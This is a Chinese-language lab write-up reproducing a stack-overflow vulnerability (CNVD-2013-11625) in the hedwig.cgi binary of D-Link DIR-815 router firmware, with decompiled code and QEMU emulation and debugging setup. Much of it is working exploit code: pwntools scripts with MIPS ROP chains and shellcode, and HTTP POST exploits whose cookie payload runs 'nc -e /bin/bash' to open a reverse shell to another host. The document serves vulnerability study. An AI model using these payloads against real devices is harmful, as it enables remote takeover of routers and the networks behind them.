DIR-815漏洞复现
固件分析
确定固件架构
binwalk分离固件
mipsrop下载,ida9.0版本
IDA插件 MIPSROP的安装和使用方法_ida mips-CSDN博客
漏洞点分析
官方漏洞批漏:https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625
官方的漏洞报告中只提及了DIR-645型号的hedwig.cgi中会存在缓冲区溢出的漏洞,其实D-Link的DIR-815/300/600/645等型号都存在这个漏洞
根据漏洞描述,可知漏洞点在hedwig.cgi,同时这个文件指向/htdocs/cgibin,这个就是我们要分析的二进制文件
main中定位主要函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 // 函数入口,保存寄存器,分配栈空间,初始化局部变量。 int hedwigcgi_main() { char *v0; // $v0 const char *no_REQUEST; // $a1 FILE *stream; // $s0 int v3; // $fp int v4; // $s5 int v5; // $v0 const char *string; // $v0 FILE *stream_1; // $s2 int fd; // $v0 int v9; // $s7 int fd_1; // $v0 char **v11; // $s1 int i; // $s3 char *v13; // $v0 const char **v14; // $s1 int v15; // $s0 char *v16; // $v0 const char **v17; // $s1 int v18; // $s0 int fd_2; // $v0 const char *v20; // $v0 char _runtime_session[20]; // [sp+18h] [-4A8h] BYREF char *s_2; // [sp+2Ch] [-494h] BYREF char *v24; // [sp+30h] [-490h] _DWORD v25[3]; // [sp+34h] [-48Ch] BYREF char s_1[128]; // [sp+40h] [-480h] BYREF char s[1024]; // [sp+C0h] [-400h] BYREF memset(s, 0, sizeof(s)); // memset(s, 0, sizeof(s)); 初始化1024字节缓冲区s为0。 memset(s_1, 0, sizeof(s_1)); // memset(s_1, 0, sizeof(s_1)); 初始化128字节缓冲区s_1为0。 strcpy(_runtime_session, "/runtime/session"); // strcpy(_runtime_session, "/runtime/session"); 拷贝字符串到_runtime_session。 v0 = getenv("REQUEST_METHOD"); // v0 = getenv("REQUEST_METHOD"); 获取环境变量REQUEST_METHOD,判断HTTP请求类型。 if ( !v0 ) // if (!v0) 检查REQUEST_METHOD是否存在,不存在则返回错误。 { no_REQUEST = "no REQUEST"; LABEL_7: v3 = 0; v4 = 0; LABEL_34: v9 = -1; goto LABEL_25; } if ( strcasecmp(v0, "POST") ) // if (strcasecmp(v0, "POST")) 检查是否为POST请求,非POST则返回错误。 { no_REQUEST = "unsupported HTTP request"; goto LABEL_7; } cgibin_parse_request(sub_409A6C, 0, 0x20000); // cgibin_parse_request(sub_409A6C, 0, 0x20000); 解析CGI请求数据。 stream = fopen("/etc/config/image_sign", "r");// stream = fopen("/etc/config/image_sign", "r"); 打开签名配置文件。 if ( !fgets(s_1, 128, stream) ) // if (!fgets(s_1, 128, stream)) 读取签名内容,失败则返回错误。 { no_REQUEST = "unable to read signature!"; goto LABEL_7; } fclose(stream); // fclose(stream); 关闭签名文件。 cgibin_reatwhite(s_1); // cgibin_reatwhite(s_1); 去除签名字符串中的空白字符。 v4 = sobj_new(); // v4 = sobj_new(); 创建字符串对象v4。 v5 = sobj_new(); // v5 = sobj_new(); 创建字符串对象v5。 v3 = v5; if ( !v4 || !v5 ) { no_REQUEST = "unable to allocate string object"; goto LABEL_34; } sess_get_uid(v4); // sess_get_uid(v4); 获取当前会话的UID。 string = (const char *)sobj_get_string(v4); // string = (const char *)sobj_get_string(v4); 获取UID字符串。 sprintf(s, "%s/%s/postxml", "/runtime/session", string);// sprintf(s, "%s/%s/postxml", "/runtime/session", string); 生成postxml路径。 xmldbc_del(0, 0, s); // xmldbc_del(0, 0, s); 删除旧的postxml节点。 stream_1 = fopen("/var/tmp/temp.xml", "w"); // stream_1 = fopen("/var/tmp/temp.xml", "w"); 创建临时XML文件用于写入。 if ( !stream_1 ) { no_REQUEST = "unable to open temp file."; goto LABEL_34; } if ( !haystack ) // if (!haystack) 检查XML数据是否存在,不存在则返回错误。 { no_REQUEST = "no xml data."; goto LABEL_34; } fd = fileno(stream_1); // fd = fileno(stream_1); 获取文件描述符。 v9 = lockf(fd, 3, 0); // v9 = lockf(fd, 3, 0); 尝试对文件加锁,防止并发写入。 if ( v9 < 0 ) { printf( "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>", 0); v9 = 0; goto LABEL_26; } fd_1 = fileno(stream_1); // fd_1 = fileno(stream_1); 再次获取文件描述符。 lockf(fd_1, 1, 0); s_2 = s_1; v24 = 0; memset(v25, 0, sizeof(v25)); v24 = strtok(_runtime_session, "/"); v11 = (char **)v25; for ( i = 2; ; ++i ) { v13 = strtok(0, "/"); *v11++ = v13; if ( !v13 ) break; } (&s_2)[i] = (char *)sobj_get_string(v4); fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", stream_1); v14 = (const char **)&s_2; v15 = 0; do { ++v15; fprintf(stream_1, "<%s>\n", *v14++); } while ( v15 < i + 1 ); v16 = strstr(haystack, "<postxml>"); fprintf(stream_1, "%s\n", v16); v17 = (const char **)&(&s_2)[i]; v18 = i + 1; do { --v18; fprintf(stream_1, "</%s>\n", *v17--); } while ( v18 > 0 ); fflush(stream_1); xmldbc_read(0, 2, "/var/tmp/temp.xml"); fd_2 = fileno(stream_1); lockf(fd_2, 0, 0); fclose(stream_1); remove("/var/tmp/temp.xml"); v20 = (const char *)sobj_get_string(v4); sprintf(s, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20); xmldbc_ephp(0, 0, s, stdout); if ( v9 ) { no_REQUEST = 0; LABEL_25: printf( "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>", no_REQUEST); } LABEL_26: if ( haystack ) free(haystack); if ( v3 ) sobj_del(v3); if ( v4 ) sobj_del(v4); return v9; }
getenv去检查环境变量,然后全检测是不是post传参
cgibin_parse_request,函数中获取三个环境变量,这里参数的需要设置,并且有一定的要求
漏洞点就在sess_get_uid中
获取cookie环境变量,并解析,首先是检查cookie名是否是uid,然后将uid=后的ip给v4,而且没有限制,这里就存在栈溢出
然后是将v4->string->s,但s只有0x400字节,然后就会溢出
然后就是劫持程序流程,但实际上还需要绕过,也不是说绕过,参考正常pwn栈溢出的思路,我们肯定需要让程序执行完,然后才能执行到我们布置的rop链上,如何让程序能正常去执行
后续有两个要求
1./var/tmp/temp.xml存在
2.haystack != null
第一个只要我们不去破坏程序环境就不会出问题
关键是第二个,通过交叉引用我们发现控制haystack值的地方
这里实际上有两种处理方式,因为目的就是让程序走到我们的gadget上
1.CONTENT_TYPE=application/x-www-form-urlencoded
也是网上很多师傅分析的
sub_409a6c
每当cgibin_parse_request解析到一段需要处理的数据时,就会调用sub_409A6C,把数据交给它处理。这样,haystack就始终保存着最新的请求数据内容
正常执行的话haystack是不为空的
之后就是获取两个环境变量,REQUEST_URI/CONTENT_LENGTH
主要是CONTENT_TYPE,会检测"application/"这个字符串,同时会跳转到一个地方,ida中是看不到的,我们可以下断点调试看看
这里返回的是0x403b10
0x403b10
然后还是返回到0x409a6c,需要保证REQUEST_URI存在,然后程序就可以返回到我们布置好的rop上getshell
实际上我们可以CONTENT_TYPE=任意
,仅需设置post传参其他参数都不用控制,这样岂不是更简单
在sub_403B10不进入sub_402FFC,而是往下走,最后到sub_403794->cgibin_print_http_status
此时程序也可以走完,同时不触发报错,可以利用栈溢出漏洞,栈溢出的偏移不一样罢了
偏移
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import* context.terminal = ['gnome-terminal', '--', 'bash', '-c'] context.arch='mips' context.os='linux' context.log_level = 'debug' def bug(): gdb.attach(target=("127.0.0.1", 1234), exe="./htdocs/cgibin", gdbscript=""" b *0x409680\n c\n """) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a) def rl(a): return p.recvuntil(a) def inter(): p.interactive() li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') libc_base = 0x7f738000#local #libc_base = 0x77f34000 #remote payload=cyclic(0x1000) payload = b'a'*0x3cd payload += b'a'*(4+0x18+12-2) payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9) payload += b'abcd' payload += p32(libc_base + 0x56BD0) # s3 sleep payload += cyclic(20)#b'a'*(4*5) payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1) payload += b'a'*0x18 payload += b'a'*(4*4) payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9) payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4) shellcode = asm(''' slti $a2, $zero, -1 li $t7, 0x69622f2f sw $t7, -12($sp) li $t6, 0x68732f6e sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 ''') payload += b'a'*0x18 payload += shellcode payload = b"uid=" + payload post_content = "Thir0th=Pwner" p = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -g 1234 ./htdocs/cgibin """, shell = True) bug() p.send(post_content) inter()
qemu用户态模拟
这个比较简单,就跟本地调试异架构一样,但参数不一样
直接gdb调试
进入 squashfs-root
文件夹中,执行下列指令
init.sh脚本启动
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/bin/bash INPUT="Thir0th=Pwner" # 要发送的 POST 数据(可能是伪造登录 或命令执行尝试) LEN=$(echo -n "$INPUT" | wc -c) # 自动计算数据长度(Content-Length) COOKIE="uid=`cat payload`" # 从 payload 文件读取 cookie uid(模拟登 录身份) # 使用 qemu-mipsel 启动 CGI 程序(绑定 GDB 调试端口 1234) echo $INPUT | qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=$LEN \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=$COOKIE \ -E REQUEST_URI="2333" \ -g 1234 \ ./htdocs/cgibin
mygdb.sh
gdb-multiarch -x mygdb.sh
1 2 3 4 5 6 set architecture mips set follow-fork-mode child set detach-on-fork off target remote 127.0.0.1:1234 file ./htdocs/cgibin
脚本调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import* context.terminal = ['gnome-terminal', '--', 'bash', '-c'] context.arch='mips' context.os='linux' context.log_level = 'debug' def bug(): gdb.attach(target=("127.0.0.1", 1234), exe="./htdocs/cgibin", gdbscript=""" b *0x402FFC\n c\n """) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a) def rl(a): return p.recvuntil(a) def inter(): p.interactive() li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') payload = b"uid=" + payload post_content = "Thir0th=Pwner" p = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=10 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -E REQUEST_URI="2333" \ -g 1234 ./htdocs/cgibin """, shell = True) bug() p.send(post_content) inter()
qemu系统态模拟
step1 下载对应内核+镜像
Index of /~aurel32/qemu/mipsel
step2 创建网桥
安装网络配置器
1 apt-get install bridge-utils uml-utilities
修改interfaces文件
1 sudo vim /etc/network/interfaces
修改之前可以先备份
sudo cp /etc/network/interfaces /etc/network/interfaces.brk
修改为
1 2 3 4 5 6 7 8 9 10 11 12 auto lo iface lo inet loopback auto ens33 iface ens33 inet dhcp up ifconfig ens33 0.0.0.0 up auto br0 iface br0 inet dhcp bridge_ports ens33 bridge_maxwait 0
在 /etc/qemu-ifup
文件中写入下面内容(如果没有则需要创建,然后使用 sudo chmod a+x /etc/qemu-ifup
)
注意是写入
,不是
改成下面内容
1 2 3 4 5 6 7 #!/bin/sh echo "Executing /etc/qemu-ifup" echo "Bringing up $1 for bridge mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep 2
开启物理机的转发功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #! /bin/sh sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
然后在到/etc
文件中创建一个 /qemu/bridge.conf
在这个文件中写入 allow br0
配置好之后reboot
step3 配置qemu网络
qemu启动脚本
1 2 3 4 5 6 7 8 # start.sh #!/bin/bash sudo qemu-system-mipsel \ -M malta -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -net nic,macaddr=00:16:3e:00:00:01 \ -net tap
将start.sh与下载的内核+镜像放置在一起,启动qemu
账号密码都是root
执行后会出现一个黑色小窗口,然后里面在加载程序,最后可能会有一个 fail
但是不要紧,不影响我们复现漏洞,太多 fail
可能就有点问题了需要问AI检查一下
nano
来修改 /etc/network/interfaces
将eth0改为eth1,(ip -a查看一下qemu网卡,不一定是eth1)
启用eth1接口
之后执行ip -a就可以看到qemu的ip了
互ping,检测是否互通,按照上述步骤来是没问题的
在qemu中输入应该不方便,可以用ssh链接
1 2 3 4 5 # 低版本Ubutnu ssh root@192.168.xx.xx # 高版本Ubutnu ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.xx.xx
step4 启动环境
将路由器文件分解得到的 /squashfs-root
文件传入到 qemu虚拟机的 /root
文件夹下面
1 2 3 4 5 6 7 # 低版本Ubutnu scp -r ./squashfs-root root@192.168.xx.xx:/root/ scp -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址> # 高版本Ubuntu scp -o HostKeyAlgorithms=ssh-rsa -r ./squashfs-root root@192.168.xx.xx:/root/ scp -o HostKeyAlgorithms=ssh-rsa -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>
/squashfs-root
文件中使用 nano指令
创建一个 http_conf
文件用于开启httpd服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 Umask 026 PIDFile /var/run/httpd.pid LogGMT On #开启log ErrorLog /log #log文件 Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 } Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } } Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth1 #对应qemu仿真路由器系统的网卡(如果是按照上面操作来的话就不用改) Address 192.168.xx.xx #qemu仿真路由器系统的IP(需要改成自己的qemu虚拟机ip地址) Port "1234" #对应未被使用的端口(一般也是不用改) Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
qemu执行以下脚本,启动web服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #init.sh #!/bin/bash echo 0 > /proc/sys/kernel/randomize_va_space cp http_conf / cp sbin/httpd / cp -rf htdocs/ / mkdir /etc_bak cp -r /etc /etc_bak rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / rm -rf /htdocs/web/hedwig.cgi rm -rf /usr/sbin/phpcgi rm -rf /usr/sbin/hnap ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap ./httpd -f http_conf
然后就应该可以去访问了
可以用nmap去扫描qemu,检测端口是否开放
step4 远程
需要用到gdbserver
已经编译完成的程序(但是作者好像命名错误了把mipsel打成了mipsle, 所以如果使用这个下面的脚本也需要改一改)
https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
远程调试
qemu /root/squashfs-root/路径下创建run.sh
调试ip地址是虚拟机主机ip
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash export CONTENT_LENGTH="11" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat payload`" export REQUEST_METHOD="POST" export REQUEST_URI="2333" echo "winmt=pwner" | ./gdbserver 192.168.xx.xx:6666/htdocs/web/hedwig.cgi #echo "winmt=pwner" | /htdocs/web/hedwig.cgi unset CONTENT_LENGTH unset CONTENT_TYPE unset HTTP_COOKIE unset REQUEST_METHOD unset REQUEST_URI
注:
1 2 3 4 5 6 7 8 9 10 #echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi 这一行代码是与gdb-multiarch调试的时候开启。 192.168.10.60 为ubuntu的地址,`6666`是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.10.67:6666连上即可。其中192.168.10.67为qemu的地址。 ------------------------------------ # echo "winmt=pwner"|/htdocs/web/hedwig.cgi 这行代码是直接生成了payload直接攻击。
需要将gdbserver.mipsel传入qemu中
然后gdb-multiarch 接过来即可
1 2 3 4 5 set architecture mips set follow-fork-mode child set detach-on-fork off target remote 192.168.xx.xxx:6666 file ./htdocs/cgibin
file ./file
可以把文件加载到gdb里面获取函数名
qemu虚拟机要获取shell只能去打反弹shell,这里需要运行脚本,gdb-multiarch那边可以接收到我们发送的paylaod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * import requests context(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.87.135 8888' # 这里是Ubuntu物理机的地址 libc_base = 0x77f34000 payload = b'a'*0x3cd payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1 payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0) payload += b'a'*(4*7) payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1) payload += b'a'*0x18 payload += cmd url = "http://192.168.87.136:1234/hedwig.cgi" # 这里是qemu虚拟机的地址 data = {"Thir0th" : "pwner"} headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded", "Content-Length": "10" } res = requests.post(url = url, headers = headers, data = data) print(res)
./run之后,然后Ubuntu的gdb去连接,然后Ubuntu在开个终端发送exp然后gdb里面就可以收到,这样子调试,反弹shell,还要再开一个终端监听端口,一共需要四个终端
远程攻击
法一:向 QEMU 虚拟机上传 payload
这种方式我们直接将 payload 写入文件,然后上传到 QEMU 虚拟机,通过设置环境变量来读取 payload 作为 uid,从而触发漏洞反弹 shell
run.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash export CONTENT_LENGTH="11" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat payload`" export REQUEST_METHOD="POST" export REQUEST_URI="2333" #echo "winmt=pwner" | ./gdbserver 192.168.xx.xx:6666/htdocs/web/hedwig.cgi echo "winmt=pwner" | /htdocs/web/hedwig.cgi unset CONTENT_LENGTH unset CONTENT_TYPE unset HTTP_COOKIE unset REQUEST_METHOD unset REQUEST_URI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell libc_base = 0x77f34000 payload = b'a'*0x3cd payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1 payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0) payload += b'a'*(4*7) payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1) payload += b'a'*0x18 payload += cmd fd = open("payload", "wb") fd.write(payload) fd.close()
将生成的payload scp过去
法二:向 httpd 服务发送 HTTP 报文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * import requests context(os='linux', arch='mips', log_level='debug') cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell libc_base = 0x77f34000 # 创建 payload payload = b'a' * 0x3cd payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1 payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0) payload += b'a' * (4 * 7) payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1) payload += b'a' * 0x18 payload += cmd # 定义目标 URL 和数据 url = "http://192.168.2.2:4321/hedwig.cgi" data = {"winmt": "pwner"} # 定义请求头 headers = { "Cookie": b"uid=" + payload, "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "11" } # 发送 POST 请求 res = requests.post(url=url, headers=headers, data=data) # 打印响应 print(res)
退出仿真环境
退出是执行fini.sh ,要不然下次进去qemu会报错,init.sh脚本已经破坏了根目录,如果忘记的话重新下载内核和镜像
1 2 3 4 5 #fin.sh #!/bin/bash rm -rf /etc mv /etc_bak/etc /etc rm -rf /etc_bak
关于虚拟桥接网络,可以不用去关闭
要关闭的话就这样,但后续配置还需要去配置虚拟桥连网络
参考链接
DIR-815 栈溢出漏洞(CNVD-2013-11625)复现-先知社区
DIR-815 栈溢出漏洞-先知社区
从零到一:复现 DIR-815 栈溢出漏洞_dir815漏洞复现-CSDN博客
😘欢迎回来~ | 坠入星野的月🌙
D-Link DIR-815路由器溢出漏洞分析 | ZIKH26's Blog
CNVD-2013-11625复现 | 坠入星野的月🌙